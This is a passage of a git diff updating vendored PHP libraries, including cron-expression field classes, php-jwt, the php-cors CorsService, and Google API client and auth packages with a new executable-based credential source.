{ + return $this->validate($matches[1]); + } + + return false; + } + + return $basicChecks; + } +} diff --git a/vendor/dragonmantank/cron-expression/src/Cron/FieldFactory.php b/vendor/dragonmantank/cron-expression/src/Cron/FieldFactory.php new file mode 100644 index 000000000..839b2757d --- /dev/null +++ b/vendor/dragonmantank/cron-expression/src/Cron/FieldFactory.php @@ -0,0 +1,52 @@ +fields[$position] ?? $this->fields[$position] = $this->instantiateField($position); + } + + private function instantiateField(int $position): FieldInterface + { + switch ($position) { + case CronExpression::MINUTE: + return new MinutesField(); + case CronExpression::HOUR: + return new HoursField(); + case CronExpression::DAY: + return new DayOfMonthField(); + case CronExpression::MONTH: + return new MonthField(); + case CronExpression::WEEKDAY: + return new DayOfWeekField(); + } + + throw new InvalidArgumentException( + ($position + 1) . ' is not a valid position' + ); + } +} diff --git a/vendor/dragonmantank/cron-expression/src/Cron/FieldFactoryInterface.php b/vendor/dragonmantank/cron-expression/src/Cron/FieldFactoryInterface.php new file mode 100644 index 000000000..8bd3c6581 --- /dev/null +++ b/vendor/dragonmantank/cron-expression/src/Cron/FieldFactoryInterface.php @@ -0,0 +1,8 @@ +format('H'); + $retval = $this->isSatisfied($checkValue, $value); + if ($retval) { + return $retval; + } + + // Are we on the edge of a transition + $lastTransition = $this->getPastTransition($date); + if (($lastTransition !== null) && ($lastTransition["ts"] > ((int) $date->format('U') - 3600))) { + $dtLastOffset = clone $date; + $this->timezoneSafeModify($dtLastOffset, "-1 hour"); + $lastOffset = $dtLastOffset->getOffset(); + + $dtNextOffset = clone $date; + $this->timezoneSafeModify($dtNextOffset, "+1 hour"); + $nextOffset = $dtNextOffset->getOffset(); + + $offsetChange = $nextOffset - $lastOffset; + if ($offsetChange >= 3600) { + $checkValue -= 1; + return $this->isSatisfied($checkValue, $value); + } + if ((! $invert) && ($offsetChange <= -3600)) { + $checkValue += 1; + return $this->isSatisfied($checkValue, $value); + } + } + + return $retval; + } + + public function getPastTransition(DateTimeInterface $date): ?array + { + $currentTimestamp = (int) $date->format('U'); + if ( + ($this->transitions === null) + || ($this->transitionsStart < ($currentTimestamp + 86400)) + || ($this->transitionsEnd > ($currentTimestamp - 86400)) + ) { + // We start a day before current time so we can differentiate between the first transition entry + // and a change that happens now + $dtLimitStart = clone $date; + $dtLimitStart = $dtLimitStart->modify("-12 months"); + $dtLimitEnd = clone $date; + $dtLimitEnd = $dtLimitEnd->modify('+12 months'); + + $this->transitions = $date->getTimezone()->getTransitions( + $dtLimitStart->getTimestamp(), + $dtLimitEnd->getTimestamp() + ); + if (empty($this->transitions)) { + return null; + } + $this->transitionsStart = $dtLimitStart->getTimestamp(); + $this->transitionsEnd = $dtLimitEnd->getTimestamp(); + } + + $nextTransition = null; + foreach ($this->transitions as $transition) { + if ($transition["ts"] > $currentTimestamp) { + continue; + } + + if (($nextTransition !== null) && ($transition["ts"] < $nextTransition["ts"])) { + continue; + } + + $nextTransition = $transition; + } + + return ($nextTransition ?? null); + } + + /** + * {@inheritdoc} + * + * @param string|null $parts + */ + public function increment(DateTimeInterface &$date, $invert = false, $parts = null): FieldInterface + { + $originalTimestamp = (int) $date->format('U'); + + // Change timezone to UTC temporarily. This will + // allow us to go back or forwards and hour even + // if DST will be changed between the hours. + if (null === $parts || '*' === $parts) { + if ($invert) { + $date = $date->sub(new \DateInterval('PT1H')); + } else { + $date = $date->add(new \DateInterval('PT1H')); + } + + $date = $this->setTimeHour($date, $invert, $originalTimestamp); + return $this; + } + + $parts = false !== strpos($parts, ',') ? explode(',', $parts) : [$parts]; + $hours = []; + foreach ($parts as $part) { + $hours = array_merge($hours, $this->getRangeForExpression($part, 23)); + } + + $current_hour = (int) $date->format('H'); + $position = $invert ? \count($hours) - 1 : 0; + $countHours = \count($hours); + if ($countHours > 1) { + for ($i = 0; $i < $countHours - 1; ++$i) { + if ((!$invert && $current_hour >= $hours[$i] && $current_hour < $hours[$i + 1]) || + ($invert && $current_hour > $hours[$i] && $current_hour <= $hours[$i + 1])) { + $position = $invert ? $i : $i + 1; + + break; + } + } + } + + $target = (int) $hours[$position]; + $originalHour = (int)$date->format('H'); + + $originalDay = (int)$date->format('d'); + $previousOffset = $date->getOffset(); + + if (! $invert) { + if ($originalHour >= $target) { + $distance = 24 - $originalHour; + $date = $this->timezoneSafeModify($date, "+{$distance} hours"); + + $actualDay = (int)$date->format('d'); + $actualHour = (int)$date->format('H'); + if (($actualDay !== ($originalDay + 1)) && ($actualHour !== 0)) { + $offsetChange = ($previousOffset - $date->getOffset()); + $date = $this->timezoneSafeModify($date, "+{$offsetChange} seconds"); + } + + $originalHour = (int)$date->format('H'); + } + + $distance = $target - $originalHour; + $date = $this->timezoneSafeModify($date, "+{$distance} hours"); + } else { + if ($originalHour <= $target) { + $distance = ($originalHour + 1); + $date = $this->timezoneSafeModify($date, "-" . $distance . " hours"); + + $actualDay = (int)$date->format('d'); + $actualHour = (int)$date->format('H'); + if (($actualDay !== ($originalDay - 1)) && ($actualHour !== 23)) { + $offsetChange = ($previousOffset - $date->getOffset()); + $date = $this->timezoneSafeModify($date, "+{$offsetChange} seconds"); + } + + $originalHour = (int)$date->format('H'); + } + + $distance = $originalHour - $target; + $date = $this->timezoneSafeModify($date, "-{$distance} hours"); + } + + $date = $this->setTimeHour($date, $invert, $originalTimestamp); + + $actualHour = (int)$date->format('H'); + if ($invert && ($actualHour === ($target - 1) || (($actualHour === 23) && ($target === 0)))) { + $date = $this->timezoneSafeModify($date, "+1 hour"); + } + + return $this; + } +} diff --git a/vendor/dragonmantank/cron-expression/src/Cron/MinutesField.php b/vendor/dragonmantank/cron-expression/src/Cron/MinutesField.php new file mode 100644 index 000000000..f077e6ec5 --- /dev/null +++ b/vendor/dragonmantank/cron-expression/src/Cron/MinutesField.php @@ -0,0 +1,97 @@ +isSatisfied((int)$date->format('i'), $value); + } + + /** + * {@inheritdoc} + * {@inheritDoc} + * + * @param string|null $parts + */ + public function increment(DateTimeInterface &$date, $invert = false, $parts = null): FieldInterface + { + if (is_null($parts)) { + $date = $this->timezoneSafeModify($date, ($invert ? "-" : "+") ."1 minute"); + return $this; + } + + $current_minute = (int) $date->format('i'); + + $parts = false !== strpos($parts, ',') ? explode(',', $parts) : [$parts]; + sort($parts); + $minutes = []; + foreach ($parts as $part) { + $minutes = array_merge($minutes, $this->getRangeForExpression($part, 59)); + } + + $position = $invert ? \count($minutes) - 1 : 0; + if (\count($minutes) > 1) { + for ($i = 0; $i < \count($minutes) - 1; ++$i) { + if ((!$invert && $current_minute >= $minutes[$i] && $current_minute < $minutes[$i + 1]) || + ($invert && $current_minute > $minutes[$i] && $current_minute <= $minutes[$i + 1])) { + $position = $invert ? $i : $i + 1; + + break; + } + } + } + + $target = (int) $minutes[$position]; + $originalMinute = (int) $date->format("i"); + + if (! $invert) { + if ($originalMinute >= $target) { + $distance = 60 - $originalMinute; + $date = $this->timezoneSafeModify($date, "+{$distance} minutes"); + + $originalMinute = (int) $date->format("i"); + } + + $distance = $target - $originalMinute; + $date = $this->timezoneSafeModify($date, "+{$distance} minutes"); + } else { + if ($originalMinute <= $target) { + $distance = ($originalMinute + 1); + $date = $this->timezoneSafeModify($date, "-{$distance} minutes"); + + $originalMinute = (int) $date->format("i"); + } + + $distance = $originalMinute - $target; + $date = $this->timezoneSafeModify($date, "-{$distance} minutes"); + } + + return $this; + } +} diff --git a/vendor/dragonmantank/cron-expression/src/Cron/MonthField.php b/vendor/dragonmantank/cron-expression/src/Cron/MonthField.php new file mode 100644 index 000000000..5a15fbb8b --- /dev/null +++ b/vendor/dragonmantank/cron-expression/src/Cron/MonthField.php @@ -0,0 +1,61 @@ + 'JAN', 2 => 'FEB', 3 => 'MAR', 4 => 'APR', 5 => 'MAY', 6 => 'JUN', 7 => 'JUL', + 8 => 'AUG', 9 => 'SEP', 10 => 'OCT', 11 => 'NOV', 12 => 'DEC', ]; + + /** + * {@inheritdoc} + */ + public function isSatisfiedBy(DateTimeInterface $date, $value, bool $invert): bool + { + if ($value === '?') { + return true; + } + + $value = $this->convertLiterals($value); + + return $this->isSatisfied((int) $date->format('m'), $value); + } + + /** + * @inheritDoc + * + * @param \DateTime|\DateTimeImmutable $date + */ + public function increment(DateTimeInterface &$date, $invert = false, $parts = null): FieldInterface + { + if (! $invert) { + $date = $date->modify('first day of next month'); + $date = $date->setTime(0, 0); + } else { + $date = $date->modify('last day of previous month'); + $date = $date->setTime(23, 59); + } + + return $this; + } +} diff --git a/vendor/firebase/php-jwt/composer.json b/vendor/firebase/php-jwt/composer.json index e23dfe378..816cfd0bd 100644 --- a/vendor/firebase/php-jwt/composer.json +++ b/vendor/firebase/php-jwt/composer.json @@ -20,7 +20,7 @@ ], "license": "BSD-3-Clause", "require": { - "php": "^7.4||^8.0" + "php": "^8.0" }, "suggest": { "paragonie/sodium_compat": "Support EdDSA (Ed25519) signatures when libsodium is not present", @@ -32,10 +32,10 @@ } }, "require-dev": { - "guzzlehttp/guzzle": "^6.5||^7.4", + "guzzlehttp/guzzle": "^7.4", "phpspec/prophecy-phpunit": "^2.0", "phpunit/phpunit": "^9.5", - "psr/cache": "^1.0||^2.0", + "psr/cache": "^2.0||^3.0", "psr/http-client": "^1.0", "psr/http-factory": "^1.0" } diff --git a/vendor/firebase/php-jwt/src/CachedKeySet.php b/vendor/firebase/php-jwt/src/CachedKeySet.php index ee529f9f5..65bab74f2 100644 --- a/vendor/firebase/php-jwt/src/CachedKeySet.php +++ b/vendor/firebase/php-jwt/src/CachedKeySet.php @@ -212,15 +212,21 @@ private function rateLimitExceeded(): bool } $cacheItem = $this->cache->getItem($this->rateLimitCacheKey); - if (!$cacheItem->isHit()) { - $cacheItem->expiresAfter(1); // # of calls are cached each minute + + $cacheItemData = []; + if ($cacheItem->isHit() && \is_array($data = $cacheItem->get())) { + $cacheItemData = $data; } - $callsPerMinute = (int) $cacheItem->get(); + $callsPerMinute = $cacheItemData['callsPerMinute'] ?? 0; + $expiry = $cacheItemData['expiry'] ?? new \DateTime('+60 seconds', new \DateTimeZone('UTC')); + if (++$callsPerMinute > $this->maxCallsPerMinute) { return true; } - $cacheItem->set($callsPerMinute); + + $cacheItem->set(['expiry' => $expiry, 'callsPerMinute' => $callsPerMinute]); + $cacheItem->expiresAt($expiry); $this->cache->save($cacheItem); return false; } diff --git a/vendor/firebase/php-jwt/src/JWT.php b/vendor/firebase/php-jwt/src/JWT.php index 263492068..e9d756398 100644 --- a/vendor/firebase/php-jwt/src/JWT.php +++ b/vendor/firebase/php-jwt/src/JWT.php @@ -251,6 +251,9 @@ public static function sign( return \hash_hmac($algorithm, $msg, $key, true); case 'openssl': $signature = ''; + if (!\is_resource($key) && !openssl_pkey_get_private($key)) { + throw new DomainException('OpenSSL unable to validate key'); + } $success = \openssl_sign($msg, $signature, $key, $algorithm); // @phpstan-ignore-line if (!$success) { throw new DomainException('OpenSSL unable to sign data'); diff --git a/vendor/fruitcake/php-cors/composer.json b/vendor/fruitcake/php-cors/composer.json new file mode 100644 index 000000000..230e0dbac --- /dev/null +++ b/vendor/fruitcake/php-cors/composer.json @@ -0,0 +1,49 @@ +{ + "name": "fruitcake/php-cors", + "description": "Cross-origin resource sharing library for the Symfony HttpFoundation", + "keywords": ["cors", "symfony", "laravel"], + "homepage": "https://github.com/fruitcake/php-cors", + "type": "library", + "license": "MIT", + "authors": [ + { + "name": "Fruitcake", + "homepage": "https://fruitcake.nl" + }, + { + "name": "Barryvdh", + "email": "barryvdh@gmail.com" + } + ], + "require": { + "php": "^7.4|^8.0", + "symfony/http-foundation": "^4.4|^5.4|^6|^7" + }, + "require-dev": { + "phpunit/phpunit": "^9", + "squizlabs/php_codesniffer": "^3.5", + "phpstan/phpstan": "^1.4" + }, + "autoload": { + "psr-4": { + "Fruitcake\\Cors\\": "src/" + } + }, + "autoload-dev": { + "psr-4": { + "Fruitcake\\Cors\\Tests\\": "tests/" + } + }, + "scripts": { + "actions": "composer test && composer analyse && composer check-style", + "test": "phpunit", + "analyse": "phpstan analyse src tests --level=9", + "check-style": "phpcs -p --standard=PSR12 --exclude=Generic.Files.LineLength --runtime-set ignore_errors_on_exit 1 --runtime-set ignore_warnings_on_exit 1 src tests", + "fix-style": "phpcbf -p --standard=PSR12 --exclude=Generic.Files.LineLength --runtime-set ignore_errors_on_exit 1 --runtime-set ignore_warnings_on_exit 1 src tests" + }, + "extra": { + "branch-alias": { + "dev-master": "1.2-dev" + } + } +} diff --git a/vendor/fruitcake/php-cors/src/CorsService.php b/vendor/fruitcake/php-cors/src/CorsService.php new file mode 100644 index 000000000..35a3f738c --- /dev/null +++ b/vendor/fruitcake/php-cors/src/CorsService.php @@ -0,0 +1,285 @@ + + * (c) Barryvdh + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Fruitcake\Cors; + +use Fruitcake\Cors\Exceptions\InvalidOptionException; +use Symfony\Component\HttpFoundation\Request; +use Symfony\Component\HttpFoundation\Response; + +/** + * @phpstan-type CorsInputOptions array{ + * 'allowedOrigins'?: string[], + * 'allowedOriginsPatterns'?: string[], + * 'supportsCredentials'?: bool, + * 'allowedHeaders'?: string[], + * 'allowedMethods'?: string[], + * 'exposedHeaders'?: string[]|false, + * 'maxAge'?: int|bool|null, + * 'allowed_origins'?: string[], + * 'allowed_origins_patterns'?: string[], + * 'supports_credentials'?: bool, + * 'allowed_headers'?: string[], + * 'allowed_methods'?: string[], + * 'exposed_headers'?: string[]|false, + * 'max_age'?: int|bool|null + * } + * + */ +class CorsService +{ + /** @var string[] */ + private array $allowedOrigins = []; + /** @var string[] */ + private array $allowedOriginsPatterns = []; + /** @var string[] */ + private array $allowedMethods = []; + /** @var string[] */ + private array $allowedHeaders = []; + /** @var string[] */ + private array $exposedHeaders = []; + private bool $supportsCredentials = false; + private ?int $maxAge = 0; + + private bool $allowAllOrigins = false; + private bool $allowAllMethods = false; + private bool $allowAllHeaders = false; + + /** + * @param CorsInputOptions $options + */ + public function __construct(array $options = []) + { + if ($options) { + $this->setOptions($options); + } + } + + /** + * @param CorsInputOptions $options + */ + public function setOptions(array $options): void + { + $this->allowedOrigins = $options['allowedOrigins'] ?? $options['allowed_origins'] ?? $this->allowedOrigins; + $this->allowedOriginsPatterns = + $options['allowedOriginsPatterns'] ?? $options['allowed_origins_patterns'] ?? $this->allowedOriginsPatterns; + $this->allowedMethods = $options['allowedMethods'] ?? $options['allowed_methods'] ?? $this->allowedMethods; + $this->allowedHeaders = $options['allowedHeaders'] ?? $options['allowed_headers'] ?? $this->allowedHeaders; + $this->supportsCredentials = + $options['supportsCredentials'] ?? $options['supports_credentials'] ?? $this->supportsCredentials; + + $maxAge = $this->maxAge; + if (array_key_exists('maxAge', $options)) { + $maxAge = $options['maxAge']; + } elseif (array_key_exists('max_age', $options)) { + $maxAge = $options['max_age']; + } + $this->maxAge = $maxAge === null ? null : (int)$maxAge; + + $exposedHeaders = $options['exposedHeaders'] ?? $options['exposed_headers'] ?? $this->exposedHeaders; + $this->exposedHeaders = $exposedHeaders === false ? [] : $exposedHeaders; + + $this->normalizeOptions(); + } + + private function normalizeOptions(): void + { + // Normalize case + $this->allowedHeaders = array_map('strtolower', $this->allowedHeaders); + $this->allowedMethods = array_map('strtoupper', $this->allowedMethods); + + // Normalize ['*'] to true + $this->allowAllOrigins = in_array('*', $this->allowedOrigins); + $this->allowAllHeaders = in_array('*', $this->allowedHeaders); + $this->allowAllMethods = in_array('*', $this->allowedMethods); + + // Transform wildcard pattern + if (!$this->allowAllOrigins) { + foreach ($this->allowedOrigins as $origin) { + if (strpos($origin, '*') !== false) { + $this->allowedOriginsPatterns[] = $this->convertWildcardToPattern($origin); + } + } + } + } + + /** + * Create a pattern for a wildcard, based on Str::is() from Laravel + * + * @see https://github.com/laravel/framework/blob/5.5/src/Illuminate/Support/Str.php + * @param string $pattern + * @return string + */ + private function convertWildcardToPattern($pattern) + { + $pattern = preg_quote($pattern, '#'); + + // Asterisks are translated into zero-or-more regular expression wildcards + // to make it convenient to check if the strings starts with the given + // pattern such as "*.example.com", making any string check convenient. + $pattern = str_replace('\*', '.*', $pattern); + + return '#^' . $pattern . '\z#u'; + } + + public function isCorsRequest(Request $request): bool + { + return $request->headers->has('Origin'); + } + + public function isPreflightRequest(Request $request): bool + { + return $request->getMethod() === 'OPTIONS' && $request->headers->has('Access-Control-Request-Method'); + } + + public function handlePreflightRequest(Request $request): Response + { + $response = new Response(); + + $response->setStatusCode(204); + + return $this->addPreflightRequestHeaders($response, $request); + } + + public function addPreflightRequestHeaders(Response $response, Request $request): Response + { + $this->configureAllowedOrigin($response, $request); + + if ($response->headers->has('Access-Control-Allow-Origin')) { + $this->configureAllowCredentials($response, $request); + + $this->configureAllowedMethods($response, $request); + + $this->configureAllowedHeaders($response, $request); + + $this->configureMaxAge($response, $request); + } + + return $response; + } + + public function isOriginAllowed(Request $request): bool + { + if ($this->allowAllOrigins === true) { + return true; + } + + $origin = (string) $request->headers->get('Origin'); + + if (in_array($origin, $this->allowedOrigins)) { + return true; + } + + foreach ($this->allowedOriginsPatterns as $pattern) { + if (preg_match($pattern, $origin)) { + return true; + } + } + + return false; + } + + public function addActualRequestHeaders(Response $response, Request $request): Response + { + $this->configureAllowedOrigin($response, $request); + + if ($response->headers->has('Access-Control-Allow-Origin')) { + $this->configureAllowCredentials($response, $request); + + $this->configureExposedHeaders($response, $request); + } + + return $response; + } + + private function configureAllowedOrigin(Response $response, Request $request): void + { + if ($this->allowAllOrigins === true && !$this->supportsCredentials) { + // Safe+cacheable, allow everything + $response->headers->set('Access-Control-Allow-Origin', '*'); + } elseif ($this->isSingleOriginAllowed()) { + // Single origins can be safely set + $response->headers->set('Access-Control-Allow-Origin', array_values($this->allowedOrigins)[0]); + } else { + // For dynamic headers, set the requested Origin header when set and allowed + if ($this->isCorsRequest($request) && $this->isOriginAllowed($request)) { + $response->headers->set('Access-Control-Allow-Origin', (string) $request->headers->get('Origin')); + } + + $this->varyHeader($response, 'Origin'); + } + } + + private function isSingleOriginAllowed(): bool + { + if ($this->allowAllOrigins === true || count($this->allowedOriginsPatterns) > 0) { + return false; + } + + return count($this->allowedOrigins) === 1; + } + + private function configureAllowedMethods(Response $response, Request $request): void + { + if ($this->allowAllMethods === true) { + $allowMethods = strtoupper((string) $request->headers->get('Access-Control-Request-Method')); + $this->varyHeader($response, 'Access-Control-Request-Method'); + } else { + $allowMethods = implode(', ', $this->allowedMethods); + } + + $response->headers->set('Access-Control-Allow-Methods', $allowMethods); + } + + private function configureAllowedHeaders(Response $response, Request $request): void + { + if ($this->allowAllHeaders === true) { + $allowHeaders = (string) $request->headers->get('Access-Control-Request-Headers'); + $this->varyHeader($response, 'Access-Control-Request-Headers'); + } else { + $allowHeaders = implode(', ', $this->allowedHeaders); + } + $response->headers->set('Access-Control-Allow-Headers', $allowHeaders); + } + + private function configureAllowCredentials(Response $response, Request $request): void + { + if ($this->supportsCredentials) { + $response->headers->set('Access-Control-Allow-Credentials', 'true'); + } + } + + private function configureExposedHeaders(Response $response, Request $request): void + { + if ($this->exposedHeaders) { + $response->headers->set('Access-Control-Expose-Headers', implode(', ', $this->exposedHeaders)); + } + } + + private function configureMaxAge(Response $response, Request $request): void + { + if ($this->maxAge !== null) { + $response->headers->set('Access-Control-Max-Age', (string) $this->maxAge); + } + } + + public function varyHeader(Response $response, string $header): Response + { + if (!$response->headers->has('Vary')) { + $response->headers->set('Vary', $header); + } elseif (!in_array($header, explode(', ', (string) $response->headers->get('Vary')))) { + $response->headers->set('Vary', ((string) $response->headers->get('Vary')) . ', ' . $header); + } + + return $response; + } +} diff --git a/vendor/fruitcake/php-cors/src/Exceptions/InvalidOptionException.php b/vendor/fruitcake/php-cors/src/Exceptions/InvalidOptionException.php new file mode 100644 index 000000000..eba6f4666 --- /dev/null +++ b/vendor/fruitcake/php-cors/src/Exceptions/InvalidOptionException.php @@ -0,0 +1,16 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Fruitcake\Cors\Exceptions; + +class InvalidOptionException extends \RuntimeException +{ +} diff --git a/vendor/google/apiclient-services/composer.json b/vendor/google/apiclient-services/composer.json index ecc41f4e1..586694df8 100644 --- a/vendor/google/apiclient-services/composer.json +++ b/vendor/google/apiclient-services/composer.json @@ -6,10 +6,10 @@ "homepage": "http://developers.google.com/api-client-library/php", "license": "Apache-2.0", "require": { - "php": "^7.4||^8.0" + "php": "^8.0" }, "require-dev": { - "phpunit/phpunit": "^5.7||^8.5.13" + "phpunit/phpunit": "^9.6" }, "autoload": { "psr-4": { diff --git a/vendor/google/apiclient-services/src/Drive.php b/vendor/google/apiclient-services/src/Drive.php index 8eaa756ec..c3c348809 100644 --- a/vendor/google/apiclient-services/src/Drive.php +++ b/vendor/google/apiclient-services/src/Drive.php @@ -46,6 +46,9 @@ class Drive extends \Google\Service /** See, edit, create, and delete only the specific Google Drive files you use with this app. */ const DRIVE_FILE = "https://www.googleapis.com/auth/drive.file"; + /** See and download your Google Drive files that were created or edited by Google Meet.. */ + const DRIVE_MEET_READONLY = + "https://www.googleapis.com/auth/drive.meet.readonly"; /** View and manage metadata of files in your Google Drive. */ const DRIVE_METADATA = "https://www.googleapis.com/auth/drive.metadata"; diff --git a/vendor/google/auth/VERSION b/vendor/google/auth/VERSION index 7aa332e41..32b7211cb 100644 --- a/vendor/google/auth/VERSION +++ b/vendor/google/auth/VERSION @@ -1 +1 @@ -1.33.0 +1.40.0 diff --git a/vendor/google/auth/composer.json b/vendor/google/auth/composer.json index 88a698d7b..41a1d0532 100644 --- a/vendor/google/auth/composer.json +++ b/vendor/google/auth/composer.json @@ -9,21 +9,23 @@ "docs": "https://googleapis.github.io/google-auth-library-php/main/" }, "require": { - "php": "^7.4||^8.0", + "php": "^8.0", "firebase/php-jwt": "^6.0", - "guzzlehttp/guzzle": "^6.5.8||^7.4.5", + "guzzlehttp/guzzle": "^7.4.5", "guzzlehttp/psr7": "^2.4.5", "psr/http-message": "^1.1||^2.0", - "psr/cache": "^1.0||^2.0||^3.0" + "psr/cache": "^2.0||^3.0" }, "require-dev": { "guzzlehttp/promises": "^2.0", "squizlabs/php_codesniffer": "^3.5", - "phpunit/phpunit": "^9.0.0", - "phpspec/prophecy-phpunit": "^2.0", + "phpunit/phpunit": "^9.6", + "phpspec/prophecy-phpunit": "^2.1", "sebastian/comparator": ">=1.2.3", - "phpseclib/phpseclib": "^3.0", - "kelvinmo/simplejwt": "0.7.1" + "phpseclib/phpseclib": "^3.0.35", + "kelvinmo/simplejwt": "0.7.1", + "webmozart/assert": "^1.11", + "symfony/process": "^6.0||^7.0" }, "suggest": { "phpseclib/phpseclib": "May be used in place of OpenSSL for signing strings or for token management. Please require version ^2." diff --git a/vendor/google/auth/src/Cache/Item.php b/vendor/google/auth/src/Cache/Item.php index 8628c5480..ff85afa71 100644 --- a/vendor/google/auth/src/Cache/Item.php +++ b/vendor/google/auth/src/Cache/Item.php @@ -28,6 +28,7 @@ * * This class will be used by MemoryCacheItemPool and SysVCacheItemPool * on PHP 7.4 and below. It is compatible with psr/cache 1.0 and 2.0 (PSR-6). + * @deprecated * @see TypedItem for compatiblity with psr/cache 3.0. */ final class Item implements CacheItemInterface diff --git a/vendor/google/auth/src/Cache/MemoryCacheItemPool.php b/vendor/google/auth/src/Cache/MemoryCacheItemPool.php index 2c7a9d574..1917cf144 100644 --- a/vendor/google/auth/src/Cache/MemoryCacheItemPool.php +++ b/vendor/google/auth/src/Cache/MemoryCacheItemPool.php @@ -57,9 +57,8 @@ public function getItem($key): CacheItemInterface public function getItems(array $keys = []): iterable { $items = []; - $itemClass = \PHP_VERSION_ID >= 80000 ? TypedItem::class : Item::class; foreach ($keys as $key) { - $items[$key] = $this->hasItem($key) ? clone $this->items[$key] : new $itemClass($key); + $items[$key] = $this->hasItem($key) ? clone $this->items[$key] : new TypedItem($key); } return $items; diff --git a/vendor/google/auth/src/Cache/SysVCacheItemPool.php b/vendor/google/auth/src/Cache/SysVCacheItemPool.php index 39a8c30fd..7821d6b09 100644 --- a/vendor/google/auth/src/Cache/SysVCacheItemPool.php +++ b/vendor/google/auth/src/Cache/SysVCacheItemPool.php @@ -110,11 +110,10 @@ public function getItems(array $keys = []): iterable { $this->loadItems(); $items = []; - $itemClass = \PHP_VERSION_ID >= 80000 ? TypedItem::class : Item::class; foreach ($keys as $key) { $items[$key] = $this->hasItem($key) ? clone $this->items[$key] : - new $itemClass($key); + new TypedItem($key); } return $items; } diff --git a/vendor/google/auth/src/CredentialSource/ExecutableSource.php b/vendor/google/auth/src/CredentialSource/ExecutableSource.php new file mode 100644 index 000000000..7661fc9cc --- /dev/null +++ b/vendor/google/auth/src/CredentialSource/ExecutableSource.php @@ -0,0 +1,260 @@ + + * OIDC response sample: + * { + * "version": 1, + * "success": true, + * "token_type": "urn:ietf:params:oauth:token-type:id_token", + * "id_token": "HEADER.PAYLOAD.SIGNATURE", + * "expiration_time": 1620433341 + * } + * + * SAML2 response sample: + * { + * "version": 1, + * "success": true, + * "token_type": "urn:ietf:params:oauth:token-type:saml2", + * "saml_response": "...", + * "expiration_time": 1620433341 + * } + * + * Error response sample: + * { + * "version": 1, + * "success": false, + * "code": "401", + * "message": "Error message." + * } + * + * + * The "expiration_time" field in the JSON response is only required for successful + * responses when an output file was specified in the credential configuration + * + * The auth libraries will populate certain environment variables that will be accessible by the + * executable, such as: GOOGLE_EXTERNAL_ACCOUNT_AUDIENCE, GOOGLE_EXTERNAL_ACCOUNT_TOKEN_TYPE, + * GOOGLE_EXTERNAL_ACCOUNT_INTERACTIVE, GOOGLE_EXTERNAL_ACCOUNT_IMPERSONATED_EMAIL, and + * GOOGLE_EXTERNAL_ACCOUNT_OUTPUT_FILE. + */ +class ExecutableSource implements ExternalAccountCredentialSourceInterface +{ + private const GOOGLE_EXTERNAL_ACCOUNT_ALLOW_EXECUTABLES = 'GOOGLE_EXTERNAL_ACCOUNT_ALLOW_EXECUTABLES'; + private const SAML_SUBJECT_TOKEN_TYPE = 'urn:ietf:params:oauth:token-type:saml2'; + private const OIDC_SUBJECT_TOKEN_TYPE1 = 'urn:ietf:params:oauth:token-type:id_token'; + private const OIDC_SUBJECT_TOKEN_TYPE2 = 'urn:ietf:params:oauth:token-type:jwt'; + + private string $command; + private ExecutableHandler $executableHandler; + private ?string $outputFile; + + /** + * @param string $command The string command to run to get the subject token. + * @param string $outputFile + */ + public function __construct( + string $command, + ?string $outputFile, + ExecutableHandler $executableHandler = null, + ) { + $this->command = $command; + $this->outputFile = $outputFile; + $this->executableHandler = $executableHandler ?: new ExecutableHandler(); + } + + /** + * @param callable $httpHandler unused. + * @return string + * @throws RuntimeException if the executable is not allowed to run. + * @throws ExecutableResponseError if the executable response is invalid. + */ + public function fetchSubjectToken(callable $httpHandler = null): string + { + // Check if the executable is allowed to run. + if (getenv(self::GOOGLE_EXTERNAL_ACCOUNT_ALLOW_EXECUTABLES) !== '1') { + throw new RuntimeException( + 'Pluggable Auth executables need to be explicitly allowed to run by ' + . 'setting the GOOGLE_EXTERNAL_ACCOUNT_ALLOW_EXECUTABLES environment ' + . 'Variable to 1.' + ); + } + + if (!$executableResponse = $this->getCachedExecutableResponse()) { + // Run the executable. + $exitCode = ($this->executableHandler)($this->command); + $output = $this->executableHandler->getOutput(); + + // If the exit code is not 0, throw an exception with the output as the error details + if ($exitCode !== 0) { + throw new ExecutableResponseError( + 'The executable failed to run' + . ($output ? ' with the following error: ' . $output : '.'), + (string) $exitCode + ); + } + + $executableResponse = $this->parseExecutableResponse($output); + + // Validate expiration. + if (isset($executableResponse['expiration_time']) && time() >= $executableResponse['expiration_time']) { + throw new ExecutableResponseError('Executable response is expired.'); + } + } + + // Throw error when the request was unsuccessful + if ($executableResponse['success'] === false) { + throw new ExecutableResponseError($executableResponse['message'], (string) $executableResponse['code']); + } + + // Return subject token field based on the token type + return $executableResponse['token_type'] === self::SAML_SUBJECT_TOKEN_TYPE + ? $executableResponse['saml_response'] + : $executableResponse['id_token']; + } + + /** + * @return array|null + */ + private function getCachedExecutableResponse(): ?array + { + if ( + $this->outputFile + && file_exists($this->outputFile) + && !empty(trim($outputFileContents = (string) file_get_contents($this->outputFile))) + ) { + try { + $executableResponse = $this->parseExecutableResponse($outputFileContents); + } catch (ExecutableResponseError $e) { + throw new ExecutableResponseError( + 'Error in output file: ' . $e->getMessage(), + 'INVALID_OUTPUT_FILE' + ); + } + + if ($executableResponse['success'] === false) { + // If the cached token was unsuccessful, run the executable to get a new one. + return null; + } + + if (isset($executableResponse['expiration_time']) && time() >= $executableResponse['expiration_time']) { + // If the cached token is expired, run the executable to get a new one. + return null; + } + + return $executableResponse; + } + + return null; + } + + /** + * @return array + */ + private function parseExecutableResponse(string $response): array + { + $executableResponse = json_decode($response, true); + if (json_last_error() !== JSON_ERROR_NONE) { + throw new ExecutableResponseError( + 'The executable returned an invalid response: ' . $response, + 'INVALID_RESPONSE' + ); + } + if (!array_key_exists('version', $executableResponse)) { + throw new ExecutableResponseError('Executable response must contain a "version" field.'); + } + if (!array_key_exists('success', $executableResponse)) { + throw new ExecutableResponseError('Executable response must contain a "success" field.'); + } + + // Validate required fields for a successful response. + if ($executableResponse['success']) { + // Validate token type field. + $tokenTypes = [self::SAML_SUBJECT_TOKEN_TYPE, self::OIDC_SUBJECT_TOKEN_TYPE1, self::OIDC_SUBJECT_TOKEN_TYPE2]; + if (!isset($executableResponse['token_type'])) { + throw new ExecutableResponseError( + 'Executable response must contain a "token_type" field when successful' + ); + } + if (!in_array($executableResponse['token_type'], $tokenTypes)) { + throw new ExecutableResponseError(sprintf( + 'Executable response "token_type" field must be one of %s.', + implode(', ', $tokenTypes) + )); + } 